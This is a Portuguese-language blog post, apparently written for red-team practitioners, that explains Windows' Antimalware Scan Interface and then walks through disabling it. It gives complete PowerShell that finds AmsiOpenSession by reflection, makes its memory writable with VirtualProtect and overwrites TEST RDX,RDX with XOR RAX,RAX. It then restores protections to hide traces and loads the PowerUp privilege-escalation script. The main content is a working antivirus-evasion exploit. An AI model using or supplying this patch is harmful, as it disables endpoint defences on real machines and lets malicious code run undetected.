Este post tem como objetivo demonstrar uma das muitas técnicas possíveis para contornar soluções antivírus através da aplicação de patches em memória nas instruções do AMSI.
Autor: Matheus Alexandre
A Antimalware Scan Interface foi introduzida pela Microsoft em 2015 e implementada inicialmente nas primeiras versões do Windows 10 com a intenção de fornecer um canal integrado para que produtos de segurança possam interagir, solicitando a verificação de arquivos, memória ou fluxos em busca de conteúdo malicioso.
No Windows 10, o recurso Antimalware Scan Interface está integrado aos seguintes componentes:
- Controle de Conta de Usuário (UAC)
- Powershell (scripts, uso interativo e avaliação dinâmica de código)
- Windows Script Host (WSH)
- JavaScript e VBScript
- Macros VBA do Office
Quanto à sua compatibilidade, embora não exista uma lista "oficial" da Microsoft, este repositório do GitHub mostra que pelo menos 22 fornecedores suportam atualmente o AMSI. Isso torna necessário que profissionais de segurança ofensiva e red team sejam proficientes em evadir e contornar tais defesas.

Entendendo o AMSI
A seguir, apresentamos uma visão geral de uma implementação da Antimalware Scan Interface, utilizando Powershell e o Microsoft Defender como exemplo.

A biblioteca amsi.dll será carregada em todos os processos do Powershell e ISE, disponibilizando funções exportadas para que os processos as utilizem. As informações relevantes serão enviadas ao Defender por meio do protocolo RPC, onde o Defender analisará o conteúdo e enviará os resultados de volta ao Powershell para que ele possa bloquear ou executar.
Os tipos de resultados retornados pelas verificações são especificados por AMSI_RESULT da seguinte forma.
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
} ;
Conforme a documentação da Microsoft, os valores de retorno são classificados da seguinte maneira:
O provedor antimalware pode retornar um resultado entre 1 e 32767 […]
Qualquer resultado de retorno igual ou superior a 32768 é considerado malware, e o conteúdo deve ser bloqueado.
Para esta técnica de bypass específica, a função AmsiOpenSession será o alvo.
HRESULT AmsiOpenSession(
[in] HAMSICONTEXT amsiContext,
[out] HAMSISESSION *amsiSession
);
Se esta função for bem-sucedida, ela retorna S_OK. Caso contrário, retorna um código de erro HRESULT.
O bypass consistirá em forçar a ocorrência deste código de erro através da aplicação de patches em algumas instruções de assembly, interrompendo o fluxo de execução do mecanismo.
Analisando a Antimalware Scan Interface
Ao desmontar as instruções de loop que compõem a AmsiOpenSession, é possível observar uma condição:

As duas primeiras instruções podem ser observadas como uma comparação e um salto condicional, salto se igual, o que leva ao valor de retorno de "argumento inválido".
Uma instrução TEST definirá a flag de zero (ZF) quando o resultado da operação for zero. O salto condicional, por sua vez, será executado caso a flag de zero esteja definida.
TEST RDX, RDX ; define a flag de zero se RDX == 0
JE amsi!AmsiOpenSession+0x4c ; salta se ZF == 1
Portanto, ao forçar a definição da flag de zero, a CPU será consequentemente induzida a realizar o salto, resultando na falha do mecanismo devido ao retorno de argumento inválido.
O bypass consistirá então nos seguintes passos:
- Obter o endereço de memória da AmsiOpenSession
- Modificar proteções de memória
- Sobrescrever TEST RDX, RDX com XOR RAX, RAX
- Reativar proteções de memória para ocultar rastros
- Executar código malicioso
Construindo o bypass
Recuperando endereços de memória
Sabendo que todas as funções relacionadas à Antimalware Scan Interface são importadas da biblioteca amsi.dll, basta obter o endereço de memória de onde a função desejada foi carregada. Isso pode ser alcançado através do uso de reflexão da seguinte forma:
function lookFuncAddr{
Param($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object {$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object{If($_.Name -eq 'GetProcAddress') {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
O lookFuncAddr a função faz basicamente o seguinte:
- Lista todos os assemblies através de GetAssemblies
- Filtra aqueles da biblioteca system.dll que correspondem ao namespace UnsafeNativeMethods
- Localiza GetProcAddress através de GetMethods
- Obtém o endereço da função desejada através de GetModuleHandle
Isso retornará o endereço da função em hexadecimal para ser usado posteriormente.
Proteções de Memória
Por padrão, apenas privilégios de leitura e execução estarão disponíveis. Isso pode ser visualizado novamente através do WinDbg usando o seguinte comando:
!vprot 7ff9dd8e37e0

PAGE_EXECUTE_READ (0x20)
Habilita acesso de execução ou somente leitura à região de páginas confirmada.
Para modificar tais proteções, a função VirtualProtect será usada:
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
A função recebe 4 argumentos, conforme descrito a seguir:
- Endereço da página; obtido através de lookFuncAddr
- Tamanho da área a ser modificada; 3 bytes
- Proteção de memória a ser aplicada; 0x40 conforme PAGE_EXECUTE_READWRITE
- Variável na qual a proteção de memória atual será armazenada pelo SO.
Para criar o tipo de delegado em uma função, a seguinte getDelegateType função será utilizada:
function getDelegateType{
Param(
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType',
'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
Armazenando agora o endereço da OpenSession em amsiAddr, inicializando a variável necessária, definindo a VirtualProtect e sobrescrevendo as proteções de memória.
[IntPtr]$amsiAddr = lookFuncAddr amsi.dll AmsiOpenSession
$oldProtect = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookFuncAddr kernel32.dll VirtualProtect),
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($amsiAddr, 3, 0x40, [ref]$oldProtect)
PAGE_EXECUTE_READWRITE (0x40)
Habilita acesso de execução, somente leitura ou leitura/gravação à região de páginas confirmada
Posicionamento da Instrução
Por fim, substitua as instruções mencionadas e reative as proteções de memória.
$3b = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($3b, 0, $amsiAddr, 3)
$vp.Invoke($amsiAddr, 3, 0x20, [ref]$oldProtect)
Hora da Demonstração
Para demonstrar a eficácia da técnica, duas strings que são sinalizadas imediatamente foram enviadas através do PowerShell:

Para demonstrar um cenário real, o script PowerUp, utilizado para escalonamento de privilégios, foi carregado na memória e executado com sucesso:

Referências e leitura complementar




